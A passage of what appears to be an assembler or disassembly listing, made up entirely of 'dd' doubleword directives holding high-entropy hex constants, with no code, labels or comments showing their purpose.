		dd 0F1C5968h, 54BD04CAh, 0DDF8F200h, 320783FDh,	74AD3EE4h
		dd 0E7B524C0h, 0BAD3002Bh, 4DC939FBh, 0CC000767h, 3EFEEF28h
		dd 501F0FF3h, 306AD2B1h, 776123FDh, 8001CD2h, 0AC6CA865h
		dd 781EA69Fh, 63C5001Dh, 0C4F84FADh, 83009944h,	1EFBA89h
		dd 0F2DE3A19h, 957900FCh, 0A7591DA8h, 4F0754ABh, 0B12344DCh
		dd 0C29EAED0h, 45C7006Dh, 1AB2701Dh, 0E9000255h, 73CD6BD9h
		dd 1F17690h, 41DFE1A8h,	0CC5AFCB7h, 0BD001EBBh,	55B3E658h
		dd 795BBC60h, 0CADB00E7h, 59E4837Fh, 1000F8E0h,	9AF455A5h
		dd 47E15Fh, 0EE994C2Fh,	0A86ACED8h, 89FBA000h, 0E15C11E6h
		dd 0A3BB00D9h, 54FEA77Ah, 7006F48h, 14D0CC75h, 4A10A4h
		dd 0F63B238Eh, 98AE9F35h, 8B485C00h, 0BD0C9DCCh, 6CB60068h
		dd 2FCA3499h, 5002081h,	77627627h, 18B2CE4h, 70E2B09Bh
		dd 615341CCh, 0B74AF4D4h, 1D2B5F00h, 920A49A9h,	11970071h
		dd 0ABD6FE32h, 6800D17Ch, 43360441h, 56729Ah, 0C4B0165Fh
		dd 9CB59074h, 0C035F200h, 0AC7901B4h, 7BBD0073h, 37C392B0h
		dd 823E2B80h, 5800CCF0h, 2C3B0089h, 8821B614h, 9E3F808h
		dd 56D0AB22h, 0F89E3E00h, 0F50E4AF6h, 0A3935A33h, 99273BA0h
		dd 3FC42659h, 1CAB0073h
		dd 0DC4BFD6Eh, 61002F05h, 63DF8EF1h, 3A769Ch, 2101A5FAh
		dd 0A1431CBh, 5B952300h, 0E9B98FDBh, 69940087h,	1520B4BCh
		dd 0A93FCDF8h, 0B5C68082h, 13CAE2B9h, 22373FE3h, 3A7012ACh
		dd 6FBC280h, 0D5BCEFBEh, 5264BD00h, 41A9136Fh, 0B298F4h
		dd 84E81674h, 0CAC540D4h, 9D47FF07h, 6950FAA9h,	391F14Ch
		dd 7FDF6A14h, 0B7808E2Fh, 0C400CBF6h, 0FB478B62h, 739622h
		dd 9365E736h, 0BB04A168h, 0E53938h, 88BF74C6h, 1DA4B664h
		dd 6D3B5F7h, 61916BDCh,	0E35DEE1Fh, 5E14D780h, 0F79C0934h
		dd 89F4F0h, 5DCF853Dh, 0F0DF8A98h, 87F731C0h, 0EA10A7A4h
		dd 14AF0057h, 0E9C495B1h, 0E1CAD80h, 0E583060Fh, 0EB0309h
		dd 0DF885D20h, 9B497BA4h, 207AC5F2h, 47890500h,	0C80AF0D7h
		dd 0CB77B1h, 0C2783714h, 9869C1DEh, 0F1212E1Bh,	803F8A78h
		dd 9B68E018h, 38FC5Eh, 0F8B39AE9h, 0A2E89420h, 4B756B00h
		dd 0ECBFE0CDh, 637000D5h, 17260F3Ah, 270F648Ch,	80BDDDB7h
		dd 554CCBE0h, 7E7C0032h, 0B316DCB5h, 67173BC1h,	810E1B92h
		dd 2B8B20AFh, 9CA817h, 46C3F662h, 809AE1Ah, 287BE700h
		dd 1C680469h, 0CBBC005Dh, 18FF4F9Fh, 0CD002711h, 139CAFD7h
		dd 425C55h, 0DF8B780Bh,	1589811Ch, 4F3093Eh, 64A85FD4h
		dd 0E30B0AC0h, 14F2037Ch, 34F923ACh, 37C88188h,	9CFFD407h
		dd 10C0AA99h, 39211A0h,	3A3CD538h, 0B2D0E836h, 0C61FCA8Dh
		dd 830081ADh, 9D71DF37h, 2F9500B9h, 0DC87EF0Ah,	4BF0B846h
		dd 10E07530h, 0AECF383h, 8BC49DD3h, 20C980B0h, 130F8201h
		dd 92577F0Eh, 3B8EFD80h, 2FE4051h, 0E8F09BCBh, 7E97403h
		dd 0B39823ECh, 5C2D013Fh, 0C8002E6Bh, 556F38DDh, 0C67100EBh
		dd 0D9F635B4h, 0AD0FE5D6h, 8043CE44h, 0DE073C67h, 8925006Bh
		dd 0E293FEB7h, 1D78B910h, 0B66D4A01h, 41A5454Fh, 8000F321h
		dd 17B76946h, 5D814CC9h, 0F1364750h, 33D680B4h,	0F85C401Dh
		dd 0BAA307D5h, 0C4E18923h, 0D4D98CA0h, 0AC6420h, 57DDC9AFh
		dd 0ECDECF97h, 71089665h, 8C698000h, 91C8E5h, 6562CEFBh
		dd 1058CB8Bh, 9CA0A2F8h, 0DD73E3C7h, 50C44B3Ch,	9900A9BCh
		dd 22FD4CC1h, 0C1A2FC0h, 9D68FF6Ch, 700FD7A1h, 61D63329h
		dd 23ABD360h, 288D44F4h, 3C0F01Ah, 3BADC42Ah, 30006AC7h
		dd 0B429BA10h, 77185FEAh, 84566C9h, 0BD035112h,	3A9F9148h
		dd 0A6D5900Ah, 0B9C2015Ah, 0C4F64BB5h, 0A7D7D875h, 1340B0C0h
		dd 1D590Eh, 82912225h, 973739CAh, 16810500h, 0A99F421h
		dd 0AA580049h, 34F52BADh, 0F0039D9h, 0EDFD4553h, 1F6FC7h
		dd 0EECF24C2h, 0A9587626h, 518A8E00h, 28A217C8h, 57F90002h
		dd 3A67AEDBh, 600758Dh,	17692B4Bh, 1E611A35h, 0C0AC0D8Ch
		dd 9BB2A32Ah, 94013829h, 7CDBC78Fh, 0D2D04724h,	0D96900F9h
		dd 1F2CDD0Ah, 0F401F11Ah, 24967CCBh, 10CD5691h,	63F01761h
		dd 1A850081h, 5DDD768Ch, 0C007F3B2h, 7CE67AE1h,	0D1641B0h
		dd 98B3998h, 0A5DAEB80h, 1E541B97h, 0E18F6E0Ch,	8378DCh
		dd 0EFFE475h, 65E546ABh, 7806200Fh, 80C26091h, 18C433EDh
		dd 80905D0Fh, 6C00F686h, 918BB617h, 655504h, 7729C2CDh
		dd 0D9B1584Ch, 5E883C1Dh, 0B0B057DBh, 18A5462h,	7D820B7Fh
		dd 0D4ADBD3Ah, 0F3074F40h, 675DACA7h, 51DF3471h, 0E20B0C7h
		dd 26E979B7h, 4D13DCh, 210BBF80h, 0D10375AAh, 88DDC533h
		dd 0CBEC1C1Eh, 0C22E1E0Ah, 6002D0AFh, 7D3C9240h, 4DF8B260h
		dd 14BF98h, 55819EDBh, 1E650C85h, 0AE18820Eh, 6B6E7CDh
		dd 0AB0F5D3h, 80629729h, 5F998390h, 6862E73Ch, 80828518h
		dd 1610E384h, 30471840h, 797C39B7h, 88EDA700h, 4A26C063h
		dd 0E42C0054h, 0CE3058A3h, 0E9002447h, 0E68DF619h, 77AE4478h
		dd 5A7775h, 4D65BEB7h, 2400BABh, 0BB0A8D3Dh, 949F80C9h
		dd 1BC50F35h, 0B4F864h,	2F2ED4Ah, 0E69742F4h, 5D7CF00Eh
		dd 1D81C04Fh, 0F5D511h,	784BF766h, 2419B3E3h, 72573B00h
		dd 4E128D67h, 0CC7103A2h, 48EEA4D6h, 0FE007174h, 0C79DF067h
		dd 7555407h, 0D7A7156Dh, 75B44019h, 68000F6Bh, 4D422CE2h
		dd 5EC3F9h, 0ACB17870h,	64FF587Ah, 468FC600h, 0AED5B0ECh
		dd 126100EEh, 0B4BF5962h, 6410737Fh, 711D5A65h,	0FA9FFEC4h
		dd 0E01A4006h, 0C8FB1FFh, 0AE67EB00h, 1896BFDh,	0D99A00FBh
		dd 0F5FF7E5Bh, 4C266069h, 270075D6h, 8063DD73h,	618D606Ch
		dd 0DFC9D12h, 5300E67Ch, 0F085A1EAh, 3D996F4h, 0D1147361h
		dd 0FF913D05h, 330EF07Eh, 0CDACD703h, 184F54C4h, 20321B08h
		dd 0C500A293h, 0E41879DEh, 277398Bh, 1E7B261Fh,	0F8E058C0h
		dd 5600F4C1h, 94A2263h,	16FF048Bh, 0DF93DEh, 205A7506h
		dd 0B5632CD4h, 1B6608h,	0CA679A20h, 99988C92h, 0E4FA3800h
		dd 59F1427Dh, 0F51E003Ch, 324C1B71h, 401CC5Bh, 0DE890A8Ah
		dd 0C9E9E533h, 0F8CE6A20h, 96B51D76h, 3A92003Eh, 0BFA43320h
		dd 0E0E12300h, 996EE20Ch, 7148007Dh, 37EDCF2Eh,	0FE3C131Fh
		dd 4336F8F1h, 0DE58E8F5h, 0B7036368h, 44985A23h, 0C12E3460h
		dd 23FC4521h, 0B168F44Bh, 0CF0DB414h, 67CA08B0h, 0EAA4004h
		dd 9C210C8Dh, 215698CCh, 0F5E210EDh, 57467500h,	7A78D448h
		dd 0A49A5427h, 591A00ABh, 0BCC97137h, 0BA00678Ah, 452F0AC5h
		dd 139686Dh, 0E341C2B6h, 51FD1625h, 0C6579C4h, 7EC8088Eh
		dd 2971526Ah, 38F45E8h,	0C5DAF6A1h, 0E11D30C4h,	0D6C09B25h
		dd 0BC58131Bh, 0A1F00C6h, 8AFA673Fh, 8007632h, 0CD73CAF0h
		dd 82A0A6h, 123104Fh, 499DAB29h, 0A2C08D1Fh, 0F1D989h
		dd 11765E74h, 3DE608h, 4D95CAC8h, 0C0E95F6Bh, 4B2C0EB8h
		dd 0EA005010h, 0F3F41318h, 0A6310088h, 0DC58044Fh, 353BF561h
		dd 0D02F00E3h, 9481D980h, 560C0025h, 0C669F6EDh, 0D4EA1691h
		dd 294DF403h, 0E0E1E5B2h, 22EE86h, 844A6C68h, 0AC472615h
		dd 0E2F96600h, 9A3EA6BFh, 2A6F00BCh, 29BD30B9h,	160092DBh
		dd 9D11F999h, 75A96CE5h, 12FC3Fh, 1F1BAFECh, 3C5479F7h
		dd 81209100h, 5A47438Fh, 82500D3Bh, 8310FA12h, 51EBEE08h
		dd 0D87FC3F8h, 7FB2CB7h, 9BEA1E18h, 0BDB320E5h,	0ED006981h
		dd 1C8F9AE8h, 0C4DFD943h, 0E9BA29h, 16149538h, 8D1B001Ah
		dd 94DB8A67h, 0A830F146h, 1DB1AE27h, 145E0904h,	0FE8080A5h
		dd 63C35C56h, 61E89A0Fh, 78E180BAh, 7539A9h, 494EA773h
		dd 0DB112767h, 8C1C9FF0h, 2C00AE51h, 306C1332h,	2D01052Eh
		dd 87E1B4C9h, 0D3CAEDh,	6B1BBB64h, 9C00D584h, 355EBA6Fh
		dd 4E82B3h, 0FE861998h,	840746B2h, 9AB8491Eh, 0B2B5827h
		dd 0B7813AAAh, 80D79784h, 2B317B3h, 702FC301h, 0D23D7DDDh
		dd 1D097170h, 0B860BFh,	0C394644Eh, 181C3976h, 9983E120h
		dd 90D85080h, 1D49674h,	45303CFCh, 0E442EC3Ah, 6FB88766h
		dd 0A100DEE6h, 0A5B4A6CCh, 0E65B4E29h, 76A200C4h, 228E726Bh
		dd 8600C1FFh, 7C4CEBD3h, 0F251CA85h, 20A300DEh,	6FEFE1DCh
		dd 5C161D24h, 0A2002355h, 76832F5h, 88FC3D05h, 0C5D9D680h
		dd 433CCE0Fh, 0A9655F00h, 0EC73EB6Ch, 8A7889h, 0FD31061Fh
		dd 0D2E854A3h, 4A3B8F07h, 0EBC03787h, 0E8E500Ch, 0F72253D9h
		dd 3D5C33C0h, 4800740Dh, 0DABCCFD0h, 81D598h, 0B4C3EAA6h
		dd 42A488F1h, 6E7A3Dh, 0D9D4F769h, 0F58571h, 3F0CC758h
		dd 4B37C37Ch, 57499300h, 2DB07F07h, 9D2612F2h, 0EBE843h
		dd 0E242FC4Fh, 0E6036Ch
		dd 68DB0984h, 0BF77F4A8h, 1DF00F00h, 11C9BBF5h,	9BE03F6Eh
		dd 7FB80B00h, 0CBE4714h, 1E226A00h, 84498B71h, 0DAD90732h
		dd 40EC3F9Ch, 3E075601h, 74E78307h, 9700DF4Ch, 301C46DBh
		dd 0CFF00593h, 0C21E2C24h, 0EC01BC1h, 0AA318096h, 0DAF70065h
		dd 883EDCFCh, 0CD484407h, 64700028h, 0A4868DC4h, 0D95C0FBAh
		dd 0A385730Ch, 70DEC05Eh, 78C5C5E9h, 0F780DCC7h, 7439E08h
		dd 6C574BE3h, 4F1CC019h, 151D58E9h, 3514635Ah, 0CB0C0184h
		dd 4AB37AF4h, 95ED9840h, 288A0022h, 0A5FF401Eh,	48E265A6h
		dd 0B50FC701h, 55EE23D5h, 2924F0h, 14475427h, 5E5695E8h
		dd 5E1558h, 0ECA6F1DFh,	20380Eh, 0A2290C91h, 37A8938Eh
		dd 5C36D73Dh, 0C1C700E2h, 1BA3F9CBh, 196A00E8h,	0D70AEFB8h
		dd 46002242h, 7224FA84h, 0AD2387h, 660CD629h, 19F414B5h
		dd 6FD04100h, 0F3E4A45Ah, 0C1AC1ECEh, 0DAAA4CB1h, 0AF007510h
		dd 0CC4FE2EAh, 12D1C5h,	0AEEEA374h, 0C0399FA9h,	47FEF977h
		dd 18620800h, 4B722230h, 94C100D2h, 0BAC77FE5h,	670E190Fh
		dd 80AD1CEDh, 0F729F6D1h, 462100B5h, 2B1C776h, 0B7002796h
		dd 3E9E727Bh, 0A0EF58B4h, 0EA2288h, 73AEC73Bh, 48F58817h
		dd 9147A900h, 86AA1278h, 404EEB1h, 0C4603FD8h, 0C3B580F3h
		dd 5FE88ADEh, 0E7E657F4h, 85FE4600h, 0C272594Ah, 29F50024h
		dd 48305D50h, 0D700B590h, 125F8A8Eh, 71EEFC3h, 0C4D59CFCh
		dd 0FEA02EE2h, 4F21646Fh, 5C5EE724h, 4C415C00h,	0CA27A5Bh
		dd 0C4430291h, 0A07306B0h, 9837E31Eh, 89FBEB40h, 732F2C7Fh
		dd 400A00D6h, 70ABC9FEh, 0F73F588Dh, 5E3B9D7Dh,	47ECFC87h
		dd 0ACC19930h, 0C6950081h, 71128465h, 7B000EFBh, 150FD4B3h
		dd 0F9193Fh, 4540FC52h,	5B1BF847h, 8043AD00h, 323A942h
		dd 8FE039CFh, 91B4240Fh, 0CD12C5DFh, 6500BF39h,	897DB827h
		dd 655123Bh, 413400A9h,	8F605298h, 0C8C4BA00h, 73A58C7Ah
		dd 72B700CCh, 47957BDh,	5B00BF10h, 17322686h, 7B854BC9h
		dd 0C79D00ABh, 0F7102CEh, 0CF4C04Fh, 0B68E441Dh, 359E80F9h
		dd 0D894FEA7h, 7754005Eh, 38D863Ah, 3200145Ah, 4F5BCF61h
		dd 0B5C8D1h, 66413FB8h,	4A6FB239h, 38AA28C1h, 0AF7084ABh
		dd 9882h, 10F564A3h, 0FFADEE25h, 3CF28707h, 53414DC2h
		dd 5E45AE1h, 1B520001h,	865E2309h, 290F0E20h, 2078C63Dh
		dd 27C076Eh, 0FC2E4825h, 8A9EF601h, 0C077921Ah,	0F10051B6h
		dd 4C354D0Eh, 5D1B115h,	81F4E8A2h, 9E048033h, 0A60092E2h
		dd 0C6236510h, 3ACAB8h,	9F71EA37h, 40ABD558h, 80E40D3Ch
		dd 0DE9AF3A2h, 7B41892h, 0CB8141A7h, 0B6A07F4Fh, 0D04E90DDh
		dd 9CD48E01h, 0E33F9F15h, 72E807F3h, 403EC6CFh,	982A39A8h
		dd 0B433A903h, 800375DEh, 0BD79789Ch, 0D239E878h, 0F1820090h
		dd 5ED71463h, 6240077Bh, 0F0F69A69h, 2A9B39D6h,	77003498h
		dd 0C7541443h, 504D30Bh, 4DA618B1h, 0D5A28041h,	6F00ADDDh
		dd 75D10AF5h, 90B6F37Bh, 99E903F0h, 0D6D77AD2h,	0D100A078h
		dd 0B46D0E6Fh, 48611E66h, 100DC91h, 72234F8Bh, 68071396h
		dd 0B85C63C9h, 460E2C40h, 0E0A303F8h, 5486479Ah, 80913BF1h
		dd 4938201Ch, 1CDB2779h, 981EB6h, 0B8C9669h, 6C0053E4h
		dd 0EBE2F2Dh, 0A94FEDh,	0F5FF13Ch, 0AE31FC72h, 0C20C800h
		dd 7B54611Fh, 0A1DECBFh, 0D4B5D037h, 1797B9A8h,	5600035Fh
		dd 44A80583h, 0D20084FBh, 29A0AB02h, 955930h, 0F7FC234Dh
		dd 5F2AE575h, 0B505EA00h, 42C4EF98h, 0F2B00008h, 8B1A9A49h
		dd 181F859Dh, 0B9DCFEC6h, 71B5B780h, 0E2C139h, 4A9B8D26h
		dd 5126A82h, 89C43D00h,	65F7C33Ch, 0D4F50752h, 20D6AA84h
		dd 552794A9h, 0F6AFA8C0h, 1EC45E1h, 0FAC0D22Bh,	809FB3BFh
		dd 9C9221B8h, 0B3BCBAEh, 201F7B34h, 44F70480h, 0F207A087h
		dd 6DF7C59h, 404067D2h,	0B5E3CCh, 6B60B601h, 0CA1CB8C0h
		dd 4DC4EB0Eh, 0A87C607Ah, 0CB05547h, 9CCBBF0Fh,	4B000668h
		dd 75EDA0D3h, 2ACFFF2h,	0AE574D65h, 99C01CE1h, 0D5E4B024h
		dd 28FC4417h, 0C0F1FC0Eh, 9FAE21DEh, 0FD7D0E7Eh, 9565CF54h
		dd 0DAFC039h, 0E800426Ah, 0BC5BDA85h, 6DFD07Eh,	1C3648E4h
		dd 221F78F1h, 26BDC833h, 9E00ACADh, 8103CC4Ch, 880A054Ah
		dd 90371042h, 8B3DF338h, 0F0023B0h, 54E20D81h, 15D759h
		dd 2F07ED1Dh, 0FE236BC8h, 89DB400h, 6C228A4Dh, 6C13582Ah
		dd 9BD9BB00h, 0B19151D4h, 0EA772800h, 0C26761C6h, 0BB990042h
		dd 93F0FD9Ch, 703CE929h, 0C3C880AFh, 9981DDCBh,	6E02005Dh
		dd 64E3D50Ch, 7D1CD6D1h, 0C69898C5h, 0B15D40h, 0D83D6266h
		dd 0F1A16EBDh, 4360B500h, 0AD8B7C0Dh, 4793189Ch, 0A699C0F2h
		dd 600BD200h, 3F0D5464h, 0EE79006Fh, 158B3A38h,	0A872272Fh
		dd 62B1B38h, 0E559351h,	3DDD0038h, 0CB957BBEh, 0E61F3233h
		dd 64E8D41Ch, 9A80D2F7h, 35BA0B15h, 0A95EE303h,	0F42FA4h
		dd 3EDE01C9h, 5872ABD2h, 0AD5E8D00h, 2A74F583h,	0C9312ED8h
		dd 0ED5C002Ah, 62C2560Fh, 0A819A00Ch, 39541F5h,	0AF807012h
		dd 7EE0229Ch, 11005733h, 0A2A30894h, 6C25FCCh, 0D57F797Ch
		dd 9C00F00Bh, 0EC42E169h, 67E2E6h, 7F8F6BDEh, 0B70622F3h
		dd 97A71200h, 0F91E7CBAh, 57310081h, 45F28E84h,	8F00F5FFh
		dd 0BEA41925h, 34FCD0Bh, 6C7F183Ch, 0DCA958FDh,	0BF85D41Bh
		dd 1482D300h, 0C987B7A5h, 4FFC0EB5h, 0C765B9E0h, 65203834h
		dd 80F60321h, 1ED73B4Dh, 8D00A2D9h, 5C4728ABh, 0FD0373h
		dd 0BCF6A4B9h, 0CC8F1729h, 49690E30h, 401E82F0h, 4803B4E4h
		dd 0B1979092h, 0D9E2C08Fh, 2F81004Eh, 0D58EA94Dh, 0E7007514h
		dd 8F37451Ch, 3A35015Eh, 0CD009125h, 849B5C53h,	0E00FD02h
		dd 3B7C4D32h, 1F9EB356h, 0FE071F7h, 962C4Fh, 3E752AC1h
		dd 0A4A49222h, 0BEE28818h, 14E85F78h, 0A87A3119h, 983C4B1Fh
		dd 97CCB010h, 854EF600h, 0B5010F16h, 31B8C1AAh,	470EDB39h
		dd 837D4292h, 8038E5E2h, 1811C9FFh, 6AB0887Bh, 7B0F3F8Ch
		dd 0E18F0F01h, 5DB1DEBh, 542DF9DCh, 0B3F0F2h, 8C426F26h
		dd 5FCA406Ch, 0CF00D4FCh, 7F781CA7h, 59710D0h, 62C9C78Fh
		dd 44A000BCh, 0B92C43A3h, 84A220F5h, 7D374604h,	0FC80D1B8h
		dd 0A6A636Fh, 0F8F0A47Bh, 0FD6C5920h, 30430DD6h, 9947E032h
		dd 8ECA0026h, 0F44F0A1Ch, 0D0A8C727h, 71739C74h, 0C403F0E5h
		dd 950D661Fh, 5F582505h, 1AC7DC1Dh, 0E8B15712h,	0C5FCBF71h
		dd 24ECE8FCh, 1C3519EFh, 8B0B407Ah, 0DE08E250h,	4D00D07Dh
		dd 0CD0C1F16h, 7F1C56B8h, 0D5CE00D7h, 0C087B552h, 0C900E93Ah
		dd 65E7EF68h, 33D2167h,	0D5CC388Dh, 0B8CBECB5h,	16F2800Fh
		dd 40DC2170h, 48BEE6E3h, 10192000h, 7BD1A186h, 0EF622C1Fh
		dd 9A64CCC0h, 676989h, 0E57CA98Eh, 27B07D34h, 7BA7DF00h
		dd 0C41A5D57h, 217FC2Dh, 713C05E4h, 0A881FAE3h,	50C33A5Eh
		dd 35655F8Ch, 0A9C98803h, 0B845F170h, 127A9089h, 40D8D49Fh
		dd 0C85B7544h, 41000926h, 623892DAh, 6B0A666h, 130ECADFh
		dd 340051C4h, 5627AC0Fh, 21DD6h, 94144148h, 31369EF9h
		dd 2EE0700Eh, 21F16F62h, 591C4B50h, 9B8EC20h, 6E2AB401h
		dd 90003C0Fh, 0CB7CAC7Eh, 62A86500h, 0AFB152C4h, 6B57611h
		dd 0E02C84F3h, 100A087h, 5E0BD9C5h, 0BFEA765h, 0C67B8BB5h
		dd 0D89F4A80h, 0A200E5B3h, 5D39FBCAh, 7881E67h,	5E9A5808h
		dd 7A3A00ABh, 72007C86h
		dd 0BCE13F7Bh, 592675h,	0FC107463h, 3D8E602h, 803E643Eh
		dd 70F6ACB1h, 0D11571h,	8A5A86EAh, 0DE6DC463h, 16D02F00h
		dd 0C152D9DAh, 64FC00A2h, 661AFF31h, 0FE008148h, 2A72AEE1h
		dd 4F2386h, 0AF0F298h, 495A43A0h, 7A00CF7Dh, 46785D3Eh
		dd 7BC1FE0h, 0B53A9BCCh, 58B05073h, 0AC00ED8Ah,	6D4087C1h
		dd 4E71A6h, 5B64E586h, 66D967B9h, 749C1600h, 84034CE4h
		dd 62E700D6h, 79B2F1DFh, 7603EFE0h, 38C6DA0Ah, 8942A018h
		dd 0E25E3F83h, 92E3D483h, 47E8340Dh, 0E0038A67h, 0F92AAC98h
		dd 17380196h, 31B612B8h, 4CEDF897h, 0BEBA1100h,	5C76A795h
		dd 0F53B002Ch, 75B12117h, 201E510Ah, 0A6001EE9h, 0CA2C2FA0h
		dd 7E5E3B02h, 0B00A1600h, 671957C4h, 3A6080FFh,	4F3ED974h
		dd 1D1BE865h, 22DB97E9h, 14A80A00h, 7D39499Eh, 0DDB800C9h
		dd 50E06BEAh, 0AF07D8EEh, 0DA772A60h, 0E9D1F6h,	2939AE06h
		dd 61797AF5h, 7BEC2F1Dh, 66218618h, 0EC3A4FC6h,	0B4D100E8h
		dd 0F787AF52h, 60850F7Bh, 17E0CF1Dh, 69AB7710h,	48A6DB03h
		dd 0E1144D31h, 16E0DA0Bh, 0CD1D03FBh, 0D602F85Eh, 0D0C95BA9h
		dd 0DD00F485h, 1B881FA6h, 0ECFA5h, 0EB5E0414h, 576BB868h
		dd 0BBB56006h, 60C8C4AAh, 0CB7630F3h, 0B800EEE9h, 5B2D6048h
		dd 16A8D39h, 1D6556Bh, 80C40DBDh, 654EA28h, 0E8B3A7ADh
		dd 9290323Ah, 0A8A02808h, 5BF6749Bh, 83D4AF0Eh,	690017BCh
		dd 0B1396BE1h, 0F9A3193Bh, 0E02F5955h, 757FD39Bh, 33A0EA00h
		dd 7D6885A9h, 46BF00FDh, 596FFB1h, 99019C12h, 451FE71Dh
		dd 3F600EC7h, 49FD2C82h, 0A7E2010Ch, 0E8F99173h, 76138F7Bh
		dd 0EA06EA98h, 56118A3Ah, 0E2C004A5h, 0A6CE9BE0h, 8B96C500h
		dd 6BDD157Eh, 38800013h, 2FA288D6h, 6F00054Ch, 0C1648EF8h
		dd 0D939FEh, 0B8C57953h, 899430A1h, 5D9A4300h, 20F7D035h
		dd 4A04001Eh, 0C3A00626h, 0B5004562h, 0D321143Ch, 0E1DE429h
		dd 0CF9DCC6h, 2B94E00h,	85EE9940h, 3D7C70E6h, 78992C5Ch
		dd 0FC47D900h, 2B2AA203h, 0BB10000Bh, 7A87AB2Fh, 1E0707BDh
		dd 4D1734ACh, 0EF71AA20h, 16F6003Bh, 4C21459Eh,	860037EDh
		dd 9833CF96h, 56CC42h, 0F0C4C24Ah, 91246AA8h, 6B4F7000h
		dd 1A2F3F7Eh, 0B439006h, 57FBDAB3h, 0EE85F087h,	3C249980h
		dd 1B009294h, 602181EFh, 12BCB16h, 380C4769h, 0FCACA66Bh
		dd 0BB505A4Dh, 2003FBB0h, 4EAA143Fh, 0C1B3E8DDh, 0D30300DEh
		dd 16410753h, 1EFEA619h, 0A3AEFF00h, 0C011CF4Ch, 0D5060232h
		dd 7116C87Ch, 0F2A7D880h, 0F0008493h, 69E4A38Eh, 8B3440h
		dd 788F836Dh, 2518D70Bh, 7B019CA8h, 0CBA5800h, 0C7174099h
		dd 0DE72DCh, 6B04A1Ch, 92B98C5Dh, 5782D900h, 4F5826C4h
		dd 0AE9D010Fh, 0F7144244h, 9E3E853h, 1D16CE00h,	0D4C560B7h
		dd 846200D7h, 4AFDEB4h,	0E2002FBDh, 56C7E9Bh, 0B687CFh
		dd 1DAC33B8h, 511CBEF7h, 12F3000h, 0D5A10D90h, 5F1B15A6h
		dd 791C9093h, 5533C005h, 0BC466FEAh, 0EBE87300h, 6A2AB977h
		dd 0FA080E42h, 8D40A7C3h, 34B280AFh, 22BC5100h,	0E947DC0Bh
		dd 0DF4F0062h, 0BDC905B4h, 70007A3Eh, 43FA9025h, 131BA5BEh
		dd 929DB37h, 758031CEh,	0F0186B2Fh, 2AA6CF05h, 9447BB8Ch
		dd 24305698h, 7344879Fh, 600E0080h, 2E8FCF51h, 2600BAC0h
		dd 0D27A1246h, 1E3C44D3h, 401C4A0Fh, 58A990BBh,	7B3915F6h
		dd 43DE1C7Ah, 6F13C140h, 3B9811Ch, 9EBA05C7h, 17B88B97h
		dd 0AC006A92h, 99B64360h, 729FB378h, 0A03002Eh,	0FE36E18h
		dd 0A31EFA84h, 76006244h, 784F9D08h, 1CE8797Eh,	852D35A8h
		dd 808697EDh, 9B6B3DECh, 63021F2Ch, 0C2597001h,	0AADC79A4h
		dd 2420F15Ah, 5DF216DDh, 3900BEBBh, 918EB431h, 0BFBC014Ah
		dd 6E49D16h, 6641C2C0h,	55E7C019h, 0F34E3100h, 68A457ABh
		dd 3FE800FDh, 0BDF6F0D7h, 6F0061AAh, 9BFFB5D6h,	132CEAh
		dd 81335770h, 0BB2B3640h, 6E2E0BF2h, 19009CC8h,	0AE5DC14Eh
		dd 12950BD5h, 0A580BC17h, 0ECC401CCh, 55007A70h, 0DD9A5990h
		dd 1EF110h, 0BC67791h, 0BDD42C47h, 5195500h, 168AD02Dh
		dd 28150026h, 7C70C30h,	0BE026046h, 9C9FFFA9h, 142B40CDh
		dd 78E20128h, 135773FCh, 9497026h, 0A6AE6B00h, 7115F522h
		dd 67D4583Ah, 0CC410071h, 5C68ACD5h, 0A400C433h, 0F778C8B7h
		dd 9367135h, 9B4DC081h,	6268C800h, 900E6F2h, 3ACC957Bh
		dd 5FDB73h, 893B8D46h, 0F04ADA06h, 907CA30Eh, 0F21C602Ch
		dd 11E5D6h, 859DE6C4h, 5EC1F46Ah, 0D1B30400h, 0F6E71F1Ch
		dd 71030CB6h, 0FDE0FF29h, 294AB00h, 33C0A559h, 0FC16006Eh
		dd 0B4BE629Dh, 380013B3h, 6697FE77h, 3DD8B02Ah,	0C583D317h
		dd 0C2F5E3A2h, 0BEEEC8B8h, 4DE3Dh, 84A84F0Eh, 186498h
		dd 0F2078A9Ah, 3B0F901Ch, 0B54B7501h, 33B2E086h, 51C482CDh
		dd 11160021h, 801B20D2h, 0AC7B90B0h, 7D3C7300h,	0B8381271h
		dd 5169E875h, 0D0F78102h, 285C60ECh, 842124h, 9458AA5Bh
		dd 0FF38D710h, 993C1700h, 96CFB42Bh, 0E07F68Fh,	1C40CC32h
		dd 0C20669A0h, 817B5D08h, 1400487Fh, 709C59A3h,	0FF2730h
		dd 0E1EDEC6Fh, 3AA93C62h, 0E8432300h, 0A1D5F745h, 0F9D70092h
		dd 7A7D9F32h, 6100EFC1h, 0E34DDA16h, 0ED3DE0Ah,	6C41688Ah
		dd 0A05C2BC3h, 2D7DBCD8h, 3252B900h, 3669D44Dh,	0F6DD00AEh
		dd 45851158h, 0CF002FDBh, 0FFA6EAECh, 0A4E78Ch,	0CE8429E6h
		dd 30EB652Ah, 0E0542400h, 7FDA087Ch, 0C9730086h, 5105B9F6h
		dd 82003F1Dh, 0D64FEC6Ah, 2D0E712h, 70C5BB11h, 58C07194h
		dd 0D9004CE0h, 884FF2A3h, 0B562CBAh, 8709AB7h, 80BE4687h
		dd 3C77A505h, 2164B200h, 0FF407E55h, 0ED490075h, 0E59B36Dh
		dd 0BC002B3Fh, 721D0128h, 0C233F4h, 827942Ch, 37F999ADh
		dd 422DA200h, 18107EDDh, 4875001Eh, 2A1CA34Ch, 0E51E1AA6h
		dd 0AC0E7F5h, 834BBEA7h, 13411CF1h, 68CA0065h, 0FD1FDB2Bh
		dd 0CEF9FB00h, 1226320h, 277F0062h, 0E4C65E05h,	0AE3D965Ah
		dd 5C7A8749h, 190F629h,	1D9BBBh, 0F5B1BFDh, 0A5AFBD4Eh
		dd 0C95D2C00h, 8503D6BEh, 86090F7Dh, 1BE01F92h,	4ACBF606h
		dd 0C7A0A00h, 4FD3C075h, 0B76C0029h, 9FF5A2E9h,	2400C29Eh
		dd 668B8528h, 9DAAF6h, 0FCBA8E50h, 7C42EB30h, 0AC559400h
		dd 70F73A82h, 2E895h, 0B92257CFh, 0A6ED432Bh, 15F48AE8h
		dd 65165C90h, 1300AF5Fh, 27FDAC67h, 96DB0158h, 0D56115BBh
		dd 68D2E017h, 0F7A0D3Ch, 0E0F308F5h, 558B0112h,	9DA500B2h
		dd 0CFA02EFEh, 0F100239Eh, 0BF8DDFDEh, 11E279Bh, 0DA0A1ABAh
